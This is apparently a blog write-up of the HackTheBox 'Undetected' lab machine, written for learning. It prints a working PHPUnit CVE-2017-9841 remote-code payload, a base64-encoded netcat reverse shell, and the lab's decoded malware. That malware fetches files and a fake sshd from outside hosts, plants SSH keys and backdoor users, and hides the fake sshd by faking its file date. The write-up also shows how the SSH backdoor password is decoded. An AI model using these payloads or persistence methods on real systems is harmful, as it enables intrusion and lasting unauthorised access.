Prelude
Undetected was an intermediate machine from HackTheBox, developed by TheCyberGeek. This was an incredible box, which showed several real-life like scenarios and was a great learning experience.
For initial foothold, I’ve exploited an RCE vuln in PHPUnit. Once I’ve got a shell in the target, I’ve cracked a hardcoded Unix hash inside a custom malicious binary to get the user.
Then I’ve reversed a malicious SSHd binary and reverse engineered the hardcoded backdoor password to get root.
Let me elaborate on how I solved this box.
Exploitation
Nmap returned the following results.
Nmap scan report for 10.10.11.146
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Diana's Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)
I’ve Navigated to port 80 and found the following web page.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220304222811.png?w=1024)
Clicked on Store
link and it navigated to http://store.djewelry.htb/
So I’ve added the hostname to my /etc/hosts
file and refreshed the page.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220304223332.png?w=1024)
A quick feroxbuster-ing showed that there’s an exposed directory named vendor, with installed plugin folders listed.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305181923.png?w=580)
Googled every plugin name in the exposed directory for vulnerabilities and found one.
There was an RCE in PHPUnit titled CVE-2017-9841. PHPUnit is a unit testing framework for the PHP programming language.
If the target is vulnerable, then we could execute arbitraty PHP code.
So I used the following payload to test for code execution.
curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
If the target is vulnerable, then it will decode the base64 encoded string and display `Hello World from CVE-2017-9841
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305182234.png?w=513)
Then I’ve used a base64 encoded nc mkfifo
payload and got a shell back.
curl -XPOST --data '<?php $str="cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNjIgOTAwMSA+L3RtcC9m";system(base64_decode($str));' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
I’ve sent this payload and I got a shell back as www-data
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305182846.png?w=650)
Privilege Escalation #1
Once I’ve got a shell back as www-data
, I’ve used manual enumeration and found a binary /var/backups/info
, which was owned by www-data
.
So, I downloaded the file to my local machine and ran strings
against the binary and found a hex encoded data, passing as an argument to bash
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305222922.png?w=647)
I’ve decoded the hex using Cyberchef and found some bash comands and a hardcoded Unix hash.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/image-2.png?w=692)
These commands will download an authorized keys file from tempfiles.xyz
and place it in /root/.ssh/authorized_keys
. Then It will download a file named .main
to /var/lib/
and set permission 755
to it.
Then it will add a cronjob to execute .main
as root. Then, the script will add a hardcoded hash to the /etc/shadow
file manually.
After that, it will extract users who have a login shell from /etc/passwd
. Then it will add the user back to /etc/passwd
, but this time, the username will have 1
appended to it.
So for instance, if there’s a valid user in the /etc/passwd
file with a username steven
, this code will add a new user named steven1
to /etc/passwd
and then add the hardcoded password hash to /etc/shadow
file.
I’ve cracked the hardcoded hash and it tuned out to be ihatehackers
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305223417.png?w=960)
![](https://i.pinimg.com/originals/3e/6e/79/3e6e79075a3d6d4b73e68f0be5ee2eef.gif)
I’ve checked the /etc/passwd
file and found a user named steven1
. So, I’ve used the password ihatehackers
to login as steven1
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305223530.png?w=453)
Privilege Escalation #2
This part was actually the hardest part of the whole box. The scenario in this box is that, this server was compromised and the hacker has left an undetectable backdoor in the system. So, the goal for us, is to find the backdoor and gain root.
Once we are in as steven1
, we can read a mail for steven
in /var/spool/mail
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220305225153.png?w=876)
It mentions an issue with Apache.
Since apache can load custom modules, an attacker could target apache modules for persistance.
i’ve Checked apache mods-available
folder.
The .load
files were loading contents from /usr/lib/apach2/modules/
directory.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220317223804.png?w=697)
So, I navigated to /usr/lib/apach2/modules/
directory and listed the files by last modified.
ls -latr
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220317224053.png?w=604)
mod_reader.so
module is the last modified file.
So, I’ve downloaded it to my machine and opened it using Ghidra.
When reversing a fuction named hook_post_config
in the mod_reader.so
file, I’ve found a base64 encoded data.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220317224728.png?w=753)
I’ve decoded it and found it as a bash one liner.
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd;
touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
This one-liner downloads an image file as /usr/bin/sshd
.
Then, it will change the modified date of /usr/bin/sshd
to be the same as /usr/bin/a2enmod
This is to make the timestamp of the malicous SSHd binary to that of the a2enmod file, so that the malicious sshd binary will be hidden to sysadmins, who rely on timestamps for forensics.
I’ve searched for the string password
in Ghidra and found a string named auth_password
; which seemed interesting.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220318203000.png?w=668)
And I’ve found a backdoor password in the function decompiler view.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220318202254.png?w=472)
When a user tries password login via SSH as root, the malicious auth_password
function in the SSHd binary will compare the entered password with the hardcoded backdoor password.
The backdoor password is stored in hexadecimal format inside a 31 character long array named backdoor
.
The auth_password
function will XOR the Hexadecimal values stored in the backdoor
array with a static HEX key 0x96
to get the ASCII representation of the backdoor password.
The malicious auth_password
function will then compare the genreated ASCII representation of the backdoor password with the password the user entered.
If the password matches with the hardcoded backdoor password, then the user can login as root.
This might not the best way, but it surely is a stealthy way for leaving backdoors in a system.
So, I manually copied and pasted the hex values in incremental order.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220318202648.png?w=240)
I’ve created a python script to Swap endianess, XOR each hex characters with 0x96
and Convert the resulting Hex to ASCII.
#!/usr/bin/python3
import socket
# Swap byte order
# Ghira displays the HEX in reversed Byte order format
def swap_end(data):
swap_data = bytearray(data)
swap_data.reverse()
return swap_data
# Backdoor password's Hex representation
backdoor=b'\xa5'
backdoor+=b'\xa9\xf4'
backdoor+=b'\xbc\xf0\xb5\xe3'
backdoor+=b'\xb2\xd6\xf4\xa0\xfd\xa0\xb3\xd6'
backdoor+=b'\xfd\xb3\xd6\xe7'
backdoor+=b'\xf7\xbb\xfd\xc8'
backdoor+=b'\xa4\xb3\xa3\xf3'
backdoor+=b'\xf0\xe7\xab\xd6'
# Password in Hex , after correcting Byte Order
swapped=swap_end(backdoor)
xored=[]
for i in swapped:
xored.append(hex(i ^ int(0x96)) )
# Password in Hex , after XOR-ing with 0x96
# Store in list xored[]
final="".join(xored)
t=final.replace("0x","")
# Password in Hex , after removing the 0x from the Hex bytes
final=t
# Converting Hex to ASCII
print(bytearray.fromhex(final).decode())
I’ve ran the script and got the password as
@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
.
I’ve used the password to login to the machine as root
via SSH.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/pasted-image-20220318202204.png?w=540)
![](https://secnigma.wordpress.com/wp-content/uploads/2022/03/image-4.png?w=356)
Postlude
And that was Undetected!
A great machine which had excellent learning materials.
Kudos to TheCyberGeek for this machine.
Peace out! ✌️